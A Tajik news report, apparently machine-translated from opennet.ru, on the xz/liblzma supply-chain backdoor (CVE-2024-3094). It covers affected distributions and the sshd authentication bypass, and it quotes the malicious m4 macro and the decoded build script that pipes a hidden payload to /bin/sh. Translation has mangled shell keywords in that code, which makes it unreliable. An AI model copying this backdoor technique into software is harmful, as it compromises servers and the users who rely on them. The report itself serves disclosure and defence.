Дар китобхонаи xz/liblzma як дарвозаи пуштибонӣ пайдо шуд, ки имкон медиҳад тавассути sshd ворид шавад

Дар бастаи XZ Utils, ки китобхонаи liblzma ва утилитаҳои кор бо додаҳои фишурда дар формати ".xz"-ро дар бар мегирад, пушти дари (CVE-2024-3094) муайян карда шудааст, ки имкон медиҳад боздошт ва тағир додани маълумоте, ки аз ҷониби замимаҳои алоқаманд коркард мешаванд бо китобхонаи liblzma. Ҳадафи асосии пушти дарвоза сервери OpenSSH мебошад, ки дар баъзе дистрибюторҳо бо китобхонаи libsystemd баста шудааст, ки дар навбати худ liblzma-ро истифода мебарад. Пайваст кардани sshd бо китобхонаи осебпазир ба ҳамлагарон имкон медиҳад, ки бе аутентификатсия ба сервери SSH дастрасӣ пайдо кунанд.

Дар релизҳои расмии 5.6.0 ва 5.6.1, ки 24 феврал ва 9 март нашр шудаанд, мавҷуд буд, ки тавонист ба баъзе дистрибюторҳо ва анборҳо ворид шавад, масалан, Gentoo, Arch Linux, Debian sid/ноустувор, Fedora Rawhide ва 40-бета, корхонаи openSUSE ва tumbleweed, LibreELEC, Edge Alpine, Solus, NixOS ноустувор, OpenIndiana, OpenMandriva Roll, pkgsrc ҷорӣ, Slackware, санҷиши Manjaro. Ба ҳама корбарони версияҳои xz 5.6.0 ва 5.6.1 тавсия дода мешавад, ки фавран ба версияи 5.4.6 баргарданд.

Дар байни омилҳое, ки мушкилотро сабук мекунанд, метавон қайд кард, ки версияи liblzma бо пушти дари қафо натавонист як қисми релизҳои устувори дистрибюторҳои калон шавад, аммо ба openSUSE Tumbleweed ва Fedora 40-beta таъсир расонд. Arch Linux ва Gentoo версияи осебпазири zx-ро истифода бурданд, аммо ба ҳамла ҳассос нестанд, зеро онҳо ямоқи systemd-notify-ро ба openssh истифода намебаранд, ки боиси пайваст шудани sshd бо liblzma мегардад. Дар пушти дарвоза танҳо ба системаҳои x86_64 дар асоси ядрои Linux ва китобхонаи Glibc C таъсир мерасонад.

Рамзи фаъолсозии паси дар дар макросҳои m4 аз файли build-to-host.m4, ки аз ҷониби асбоби автомобилсозӣ ҳангоми сохтан истифода мешуд, пинҳон карда шуд. Ҳангоми васлкунӣ, ҳангоми иҷрои амалҳои печидаи печида дар асоси архивҳо (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ки барои санҷиши дурустии амалиёт истифода мешаванд, файли объекти дорои рамзи зараровар тавлид карда шуд, ки ба китобхонаи liblzma ва мантиқи амалиёти баъзе аз вазифаҳои он тағйир. Макросҳои фаъолкунандаи m4 ба tarballs дохил карда шуданд, аммо дар анбори Git набуданд. Дар айни замон, дар анбор бойгониҳои санҷиши зараровар мавҷуд буданд, яъне. шахсе, ки пушти дарвозаро амалӣ кардааст, ҳам ба репозиторий ва ҳам равандҳои тавлиди релизҳо дастрасӣ дошт.

Ҳангоми истифодаи liblzma дар барномаҳо, тағироти зараровар метавонанд барои боздошт ё тағир додани маълумот ё таъсир ба кори sshd истифода шаванд. Аз ҷумла, рамзи зараровар функсияи RSA_public_decrypt-ро қаллобӣ кард, то раванди аутентификатсияи sshd-ро гузарад. Дар паси дарвоза муҳофизат аз ошкоркуниро дар бар мегирад ва вақте ки тағирёбандаҳои муҳити LANG ва TERM муқаррар карда шуданд (яъне ҳангоми иҷро кардани раванд дар терминал) ва тағирёбандаҳои муҳити LD_DEBUG ва LD_PROFILE муқаррар карда нашудаанд ва танҳо ҳангоми иҷрои /usr/sbin/sshd файли иҷрошаванда. Дар паси дарвоза инчунин як воситаи муайян кардани иҷро дар муҳити дебаг мавҷуд буд.

Аз ҷумла, файли m4/build-to-host.m4 истифода шудааст gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Дар сохти аввал, амалиёти grep файли tests/files/bad-3-corrupt_lzma2.xz-ро ёфт, ки ҳангоми кушодан скрипт тавлид кард: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан аз 0 eval `grep ^srcdir= config.status` агар test -f ../../config.status; пас арзёбӣ `grep ^srcdir= ../../config .status` srcdir="../../$srcdir" fi содирот i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (сар - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (сар -c +1024 >/dev/null) && сар -c +2048 && (сар -c +1024 >/dev/null) && сар -c +2048 && (сар -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F хом —lzma1 -dc|/bin/sh ####Ҷаҳон####

Чӣ гуна ҳамлагарон тавонистаанд ба инфрасохтори лоиҳаи xz дастрасӣ пайдо кунанд, ҳанӯз пурра мушаххас нашудааст. Ҳанӯз маълум нест, ки дар натиҷаи пушти дарвоза чӣ қадар корбарон ва лоиҳаҳо осеб дидаанд. Муаллифи эҳтимолии пушти дарвоза (JiaT75 - Jia Tan), ки бойгониҳоро бо коди зараровар дар анбор ҷойгир кардааст, бо таҳиягарони Fedora мукотиба кардааст ва ба Debian дархостҳои кашидани марбут ба гузариши тақсимот ба шохаи xz 5.6.0 ирсол кардааст ва ин корро накардааст. шубҳаро ба вуҷуд меорад, зеро ӯ дар xz иштирок кардааст, ки дар давоми ду соли охир инкишоф меёбад ва аз рӯи шумораи тағйироти воридшуда дуюмин таҳиякунанда мебошад. Илова ба лоиҳаи xz, муаллифи эҳтимолии пушти дарвоза низ дар таҳияи бастаҳои xz-java ва xz-дармкардашуда иштирок кардааст. Ғайр аз он, Ҷиа Тан чанд рӯз пеш ба шумораи нигоҳдорони лоиҳаи XZ Embedded, ки дар ядрои Linux истифода мешавад, дохил карда шуд.

Тағйироти шубҳанок пас аз таҳлили истеъмоли аз ҳад зиёди CPU ва хатогиҳои аз ҷониби valgrind ҳангоми пайвастшавӣ тавассути ssh ба системаҳои бар Debian sid асосёфта ошкор карда шуд. Қобили зикр аст, ки версияи xz 5.6.1 тағйиротҳоеро дар бар мегирад, ки муаллифи эҳтимолии пушти дарвоза дар посух ба шикоятҳо дар бораи сустшавии sshd ва садамаҳо, ки пас аз навсозӣ ба версияи zx 5.6.0 бо паси дари ба вуҷуд омадаанд, таҳия шудааст. Илова бар ин, соли гузашта Ҷиа Тан тағирот ворид кард, ки бо режими санҷиши "-fsanitize=address" номувофиқ буданд ва боиси он шуд, ки ҳангоми санҷиши fuzz хомӯш карда шавад.

Манбаъ: opennet.ru

Илова Эзоҳ